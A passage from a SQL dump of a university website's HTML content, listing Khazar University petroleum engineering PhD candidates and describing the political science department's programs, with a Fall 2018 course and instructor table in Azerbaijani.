href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Petroleum%20eng/Ehsan%20Jafari.pdf\"><img src=\"http://www.khazar.org/files/engineering/images/ehsan_j.jpg\" style=\"float:left;width:150px;height:187px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Ehsan Jafari Dastgerdi</a></strong></p><p><span style=\"font-style:normal\">PhD candidate in Petroleum Engineering (Khazar University, Azerbaijan) </span> <br></p><p><span style=\"font-style:normal\">MS&nbsp;in&nbsp;Petroleum Engineering (Sahand University of Technology, Iran)</span></p><p><span style=\"font-style:normal\"><strong>E-mail:</strong>&nbsp;<a href=\"mailto:ehsanjafariengineering@gmail.com\">ehsanjafariengineer[at]gmail.com</a><br></span></p><p><br></p><p><br></p>  <hr><strong><img src=\"/files/petroleum_depart/shahriyar.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong><p><strong><strong><a href=\"http://www.khazar.org/files/petroleum_depart/Shahriyar%20Alkhasli.pdf\">Shahriyar Alkhasli</a></strong>&nbsp;</strong></p><address><p><span style=\"font-style:normal\">PhD candidate in Petroleum Engineering (Khazar University, Azerbaijan)</span></p><p><span style=\"font-style:normal\">MS in Petroleum Engineering (University of Tulsa, Oklahoma, USA)</span></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:21.25pt;text-indent:-21.25pt;background:white\"\"=\"\"><strong style=\"font-style:normal\">E-mail:&nbsp;</strong><a href=\"mailto:shahriyar.alkhasli@khazar.org\" style=\"font-style:normal\">shahriyar.alkhasli[at]khazar.org</a></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:21.25pt;text-indent:-21.25pt;background:white\"\"=\"\"><br></p>\r\n<hr><p style=\"margin-bottom:7.5pt\"><span style=\"font-style:normal\"><strong class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/petroleum_depart/ElshanAliyev.jpg\" rel=\"media6822520448525811\" width=\"150\" height=\"100\"><a href=\"http://www.khazar.org/files/petroleum_depart/elshan_Aliyev_cv.pdf\"><img src=\"/files/petroleum_depart/Elshan_Aliyev_photo.jpg\" style=\"border:0px  #0000ee;float:left;width:150px;height:120px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></strong></span><strong class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/petroleum_depart/ElshanAliyev.jpg\" rel=\"media608523892388513\" width=\"150\" height=\"100\" style=\"font-style: normal;\"><a href=\"http://www.khazar.org/files/petroleum_depart/elshan_Aliyev_cv.pdf\">Elshan Aliyev</a>&nbsp;</strong></p> <p><span style=\"font-style:normal\">PhD candidate in Petroleum Engineering (Khazar University, Azerbaijan)</span></p><p><span style=\"font-style:normal\"></span><span style=\"font-style:normal\">MS in Petroleum Engineering (Colorado School of Mines, USA)</span></p><p style=\"padding-left: 160px;\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:.25in;background:white\"\"=\"\"><strong style=\"font-style:normal\">E-mail:&nbsp;</strong><a href=\"mailto:aliyev.elshan@hotmail.com\" style=\"font-style:normal\">aliyev.elshan[at]hotmail.com</a></p></address>  \r\n<hr>\r\n<p><img src=\"/files/petroleum_depart/Images/Vafa-Ahmadzada.jpg\" style=\"float:left;width:150px;height:194px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/petroleum_depart/CV/Ahmadzada_Vafa.pdf\">Vafa Ahmadzada</a></strong></p><p>MS in Petroleum Engineering   (Imperial College London, UK)</p><p><strong>E-mail:</strong> <a href=\"mailto:vafa.ahmadzada@gmail.com\">vafa.ahmadzada[at]gmail.com</a>   <br></p><p><br></p><p><br></p>'),(425,267,'en','History','','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Reflecting a dynamic field and institutional mission, Khazar University’s Department of Petroleum Engineering emphasizes: robust instruction; individualized programs; problem solving; real-world experience; professional development; industry alliances; information exchange; and cooperative ventures with prominent international universities.</p><p>The Department nurtures strong relationships with major global and local oil companies [SOCAR, Azerbaijan International Operating Company (AIOC), BP, Schlumberger, Bos Shelf, Halliburton, Baker Hughes, Bahar Energy, SOCAR-AQS, etc..] operating in Baku, professionally engaging staff and students.</p><p>In cultivating these partnerships, the Department leads the university in industry relations, securing BP and SOCAR scholarships for outstanding students. Beyond financial support, students are also eligible for BP, SOCAR, Halliburton, Bos Shelf, Bahar Energy internships and future employment opportunities. Department faculty, students, and others within the School of Engineering and Applied Science are members of the Society of Petroleum Engineers (SPE) and European Association of Geoscientists and Engineers (EAGE). These professional organizations invite scientists, engineers, visiting professors and specialists from preeminent universities and oil companies. These events, promote academic excellence, disseminate the latest developments, and encourage the vital flow of scientific ideas.</p>'),(426,268,'en','News','',''),(436,279,'en','Main','Main','<div><br></div><div><p><span style=\"color:#000000\"><strong style=\"font-size:large\">Department of Political Science and International Relations</strong></span></p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium;text-align:justify\">The Department of Political Science and International Relations offers degree programs at undergraduate and postgraduate levels. The undergraduate degree programs include Political Science, International Relations, and European Studies. The postgraduate programs include Masters and Ph.D. degrees in International Relations.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>What are the distinctive features of our degree programs?</strong></p><p style=\"font-size:medium\">&nbsp; The medium of instruction is mainly English;</p><p style=\"font-size:medium\">&nbsp; Our programs are designed in line with the programs of world-class universities as well as the Azerbaijani state standards;</p><p style=\"font-size:medium\">&nbsp; Our programs include country-centered as well as region-centered courses which also attract foreign students;</p><p style=\"font-size:medium;text-align:justify\">&nbsp; Classes are taught by lecturers educated in leading world universities as well as experienced senior lecturers;</p><p style=\"font-size:medium;text-align:justify\">&nbsp; Our programs combine theoretical knowledge with practical experience (mandatory placement offered as of the 2015-2016 academic year);</p><p style=\"font-size:medium;text-align:justify\">&nbsp; Extracurricular activities such as field trips and seminar series are delivered by scholars, experts, and practitioners;</p><p style=\"font-size:medium;text-align:justify\">&nbsp; The department conducts a number of annual scholarly events such as Jean Monnet Seminar series, crisis simulation exercises, summer schools, and thematic conferences.</p>  <br></div>'),(437,279,'az','Əsas səhifə','Əsas səhifə','<div><br></div><br><div><strong style=\"font-size:large\">Siyasi elm və beynəlxalq münasibətlər departamenti</strong></div>  <br><br><div><br></div><div style=\"text-align:justify\"><p><strong>İxtisasların\r\nmahiyyəti</strong></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>050208 – Politologiya ixtisası (bakalavriat\r\nsəviyyəsində)</strong></p>\r\n<p style=\"text-align:justify\">Politologiya ixtisası yerli və qlobal səviyyədə siyasi\r\nfəaliyyəti araşdırır. Bu ixtisası seçən hər bir tələbəmiz hakimiyyət və onun\r\nbölgüsü, siyasi sistemlər, cəmiyyət və dövlət, siyasi rejimlər, demokratiya\r\nanlayışı, siyasi mədəniyyət və siyasi ideologiya, beynəlxalq müna­si­bət­lər və\r\nxarici siyasət problemləri barəsində dərin biliklərə yiyələnə bilər. Eyni\r\nzamanda, bu ixtisas üzrə təhsil alaraq siz bəşəriyyətin qlobal problemləri və\r\nonların mümkün həlli yollarını, dünyanın müasir siyasi xəritəsinin formalaşma\r\nmərhələlərini və Azərbaycan Respublikasının müasir dünyanın iqtisadi və siyasi\r\nsistemində özünəməxsus yerini müəyyən etmək üçün bilik və bacarıqlara sahib ola\r\nbilərsiniz. </p>\r\n<p>&nbsp;</p>\r\n<p><strong>050213 –\r\nBeynəlxalq münasibətlər</strong></p>\r\n<p style=\"text-align:justify\">Beynəlxalq Münasibətlər ixtisası üzrə təhsil alan bakalavr\r\ntələbəmiz bəşəriyyətin qlobal problemləri və onların həlli\r\nyollarını, dünyanın müasir siyasi xəritəsinin formalaşma mərhələlərini, Azərbaycan\r\nRespublikasın müasir dünyanın iqtisadi və siyasi sistemində yerini müəyyən etməyi\r\nöyrənir. Eyni zamanda, müasir inteqrasiya proseslərinin formalaşma şəraitini,\r\ninteqrasiya proseslərinin nəzəri və praktik aspektlərini təhlil etməyi, Azərbaycan\r\nRespublikasının bu qloballaşma prosesində iştirakını təhlil etməyi öyrənir. </p>\r\n<p>&nbsp;</p>\r\n<p><strong>050211 –\r\nRegionşünaslıq (Avropa)</strong></p>\r\n<p style=\"text-align:justify\">Regionşünaslıq üzrə\r\ntəhsil imkanı tələbəyə ixtisas\r\nregionundakı beynəlxalq münasibətlərin tarixini, sistemini yaradan konfransları\r\nvə müqavilələri, beynəlxalq münasibətlərin təzahürləri, böhran və problemləri,\r\nmüasir dövrdə bu münasibətlərin dünya diplomatiyasında səciyyəsini öyrənmək\r\nimkanı verir. Eyni zamanda, ixtisas regionunun ədəbiyyatını, siyasi sistemlərini,\r\ndövlətlərinin quruluşu və hakimiyyət orqanlarını, ixtisas regionunun tarixi,\r\nonun dövrləri, ümumdünya tarixində yerini, region ölkələrinin dünya\r\niqtisadiyyatında ixtisaslaşdığı sahələri və dünya iqtisadi inkişafına təsir\r\nimkanlarını bilməyə şərait yaradır.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Niyə biz?</strong></p>\r\n<p style=\"text-align:justify\">Politologiya ixtisası\r\nüzrə fənlər Xəzər Universitetinin Siyasi Elmlər və Beynəlxalq Münasibətlər\r\ndepartamenti tərəfindən əsasən ingilis dilində tədris olunur. Sağlam və şəffaf\r\nakademik təməllərə söykənən və tələbələrə dünya standartlarına yaxın təhsil\r\nverməyi hədəfləyən kafedramız əsasən xaricdə ixtisaslaşmış və uzunmüddətli\r\ntəlim təcrübəsinə malik müəllim heyətindən ibarətdir. Qeyd olunmalıdır ki, universitetimizdə tətbiq olunan kredit sistemi və xaricdə\r\ntanınan diplomumuz gələcəkdə qabaqcıl dünya universitetlərində də təhsilini\r\ndavam etmək istəyən hər bir məzunumuza geniş fürsətlər yaradır.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Təcrübə imkanları</strong></p>\r\n<p style=\"text-align:justify\">Departamentimiz gəncləri sadəcə nəzəri biliklərə\r\nyiyələndirməklə kifayətlənmir. Universitetdə qazanılan nəzəri bilikləri\r\npraktiki təcrübəyə çevirməsini asanlaşdırmaq məqsədilə 2015-ci ildən etibarən\r\nməcburi təcrübə proqramlarımız təklif olunur. Müxtəlif qurumlarla imzalanmış çoxsaylı\r\nikitərəfli müqavilələrimiz tələbələrimizə professional sahədə praktik biliklərə\r\nyiyələnmək imkanı verir. </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Məzunlarımız\r\nharada işləyə bilər?</strong></p>\r\n<p style=\"text-align:justify\">Politologiya ixtisasımız\r\ntələbələrimizdə araşdırma bacarıqları və analitik düşüncə inkişafı üçün\r\nimkanlar açmaqla bərabər məzun olduqdan sonra dövlət və özəl sektorda, müxtəlif\r\nbeynəlxalq şirkətlərdə və dövlət qurumlarında peşəkar həyata başlamaq imkanı\r\nyaradır. Eyni zamanda, politologiya ixtisası üzrə təhsil tələbələrə müxtəlif\r\nuniversitetlərdə, media qurumlarında, beynəlxalq təşkilatlar və onların\r\nregional ofislərində, digər dövlət və özəl qurumlarda iş imkanları yaradır. </p>\r\n<p>&nbsp;</p>\r\n<p><strong>Dərsdənkənar\r\nfəaliyyət və tədbirlər</strong></p>\r\n<p style=\"text-align:justify\">Departamentimizdə fəaliyyət göstərən müxtəlif klub və\r\nmərkəzlər tələbələrimizə bənzərsiz imkanları qazandırmağa xidmət edir.\r\nPolitologiya ixtisası üzrə təhsil olan hər bir tələbəmiz Avropa Birliyinin Erasmus+\r\nproqramının dəstəyi ilə “Jean Monnet” Avropa Seminarlar Silsiləsi çərçivəsində\r\nmütəmadi təşkil olunan tədbirlərdə iştirak edə bilir. Tələbələrimizin universitet həyatını daha da maraqlı\r\netmək üçün ara-sıra müxtəlif məşğələlər, simulyasiyalar, və təlim\r\nekskursiyaları, o cümlədən səfirlərlə və xarici ekspertlərlə görüşlər mütəmadi\r\nolaraq keçirilir. Yerli ekspertlərin və xarici qonaqların iştirakı ilə\r\nAzərbaycanın xarici siyasəti, beynəlxalq munasibətlər və dünyada baş verən cari\r\nsiyasi prosesləri müzakirə etmək üçün seminarlar təşkil edilir.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Xarici\r\nuniversitetlərlə əməkdaşlıq və mübadilə imkanları</strong>&nbsp;</p>\r\n<p>İxtisaslarımız üzrə təhsil alan və həm də beynəlxalq təcrübə\r\nqazanmaq istəyən tələbələrimiz Erasmus+ və Mevlana proqramları, o cümlədən müxtəlif\r\nuniversitetlərlə imzanlanmış ikitərəfli mübadilə müqavilələrimizdən yararlanaraq,\r\nqabaqcıl Avropa və Türkiyə universitetlətində bir və ya iki semestrlik müddətdə\r\ntələbə mübadiləsi çərçivəsində vaxt itirmədən təhsil ala bilər.</p>  <br></div>'),(438,280,'az','Proqramlar','Proqramlar',''),(439,280,'en','Programs','Programs',''),(440,281,'az','Fənlər və tədris proqramları','Fənlər və tədris proqramları','<p><strong><br></strong></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</strong></p><p><strong> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Payız 2018: <strong>Fənlər və tədris proqramları (Bakalavr)</strong></strong></p><p><br></p><table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"108\">\r\n  <div style=\"text-align:center\"><strong>Kod</strong></div>\r\n  </td>\r\n  <td width=\"318\">\r\n  <div style=\"text-align:center\"><strong>F</strong><strong>ənnin adı</strong></div>\r\n  </td>\r\n  <td width=\"198\">\r\n  <div style=\"text-align:center\"><strong>Müəllim</strong></div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 110</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Tural%20Huseynli%20-%20Siyasi%20Elm%C9%99%20giri%C5%9F.pdf\">Siyasi Elmlərə Giriş</a>&nbsp;(AZE)</div><div><div><a href=\"http://www.khazar.org/files/politics_depart/Gulcan%20Kulakhmet-Introduction%20to%20PS.pdf\">Siyasi Elmlərə Giriş</a>&nbsp;(RUS)</div>  <div><a href=\"http://www.khazar.org/files/politics_depart/Baba%20Bayramli-Introduction%20to%20Political%20Science%20(individual).pdf\">Siyasi Elmlərə Giriş</a>&nbsp;(Qrup B)</div></div></td><td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><div>Tural Hüseynli</div><div>Gülcan Kulaxmet</div><div>Baba Bayramlı</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 202</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Baba%20Bayramli-Contemporary%20social%20history%20of%20Political%20Thoughts.pdf\">Siyasi Fikrin Müasir Sosial Tarixi</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Baba Bayramlı</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 300</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Rashad%20Aghazade-Theory%20of%20IR.pdf\">Beynəlxalq Münasibətlər Nəzəriyyəsi</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Rəşad Ağazadə</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 301</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Baba%20Bayramli-Modern%20Diplomacy.pdf\">Müasir Diplomatiya</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Baba Bayramlı</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 303</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Ziya%20Mursalzade-Introduction%20to%20Economics.pdf\">İqtisadiyyat</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Ziya Mürsalzadə</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 359</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Anar%20Rahimov-History%20of%20Parliamentarism.pdf\">Parlamentarizm tarixi</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Anar Rəhimov</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 370</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Elmar%20Mustafayev-NATO%20and%20Security%20Studies.pdf\">NATO və Təhlükəsizlik tədqiqatları</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Elmar Mustafayev</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 401</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Elsevar%20Mammdov-Political%20Psychology.pdf\">Siyasi Psixologiya</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Elsevər Məmmədov</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 403</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Rovshan%20Karimov-Political%20and%20Economic%20Geography.pdf\">Siyasi və İqtisadi Coğrafiya</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Rövşən Kərimov</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 404</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Rafig%20Rustamov-Foundations%20of%20Azerbaijan\'s%20National%20Security.pdf\">Azərbaycan Milli Təhlükəsizliyinin Əsasları</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Rafiq Rüstəmov</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 405</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Vasif%20Huseynov-Political%20systems%20of%20Azerbaijan%20and%20foreign%20countries.pdf\">Azərbaycan və Xarici Ölkələrin Siyasi Sistemləri</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Vasif Hüseynov</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 410</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Elmar%20Mustafayev-Political%20System%20and%20Foreign%20Policy%20of%20European%20Union.pdf\">Avropa İttifaqının siyasi sistemi və xarici siyasəti</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Elmar Mustafayev</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 411</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Jeyran%20Mammadli-Economy%20of%20Europe.pdf\">Avropa Ölkələrinin İqtisadiyyatı</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Ceyran Məmmədli</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 400</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Elsevar%20Mammadov-Research%20Methods.pdf\">Siyasi Elmlərdə Tədqiqat Metodları</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Elsevər Məmmədov</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>PSIR 475</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Gunay%20Bayramova-Nations%20and%20Nationalism%20Syllabus%20Fall%202018.pdf\">Millət və Milliyyətçilik</a></div>\r\n  </td>\r\n  <td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div>Günay Bayramlı</div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"108\">\r\n  <div>HIST144</div>\r\n  </td>\r\n  <td width=\"318\" style=\"\" width:238.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <div><a href=\"http://www.khazar.org/files/politics_depart/Aygul%20Ismayilova-History%20of%20Europe.pdf\">Avropa Ölkələrinin&nbsp; Tarixi</a></div></td><td width=\"198\" style=\"\" width:148.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><div>Aygül İsmayılova</div></td></tr></tbody></table><div style=\"text-align:center\"><p><strong><strong><br></strong></strong></p><p><strong><strong><br></strong></strong></p><p style=\"text-align:left\"><strong><strong>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Payız 2018: Fənlər və tədris proqramları (<strong>Magistratura)</strong></strong></strong></p><div style=\"text-align:justify\">\r\n<table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"83\">\r\n  <div><strong>Kod</strong></div>\r\n  </td>\r\n  <td width=\"306\">\r\n  <div style=\"text-align:left\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fənnin adı</strong></div>\r\n  </td>\r\n  <td width=\"169\">\r\n  <div style=\"text-align:center\"><strong>Müəllim</strong></div>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"83\">\r\n  <div>PSIR 511</div>\r\n  </td>\r\n  <td width=\"306\" style=\"\" 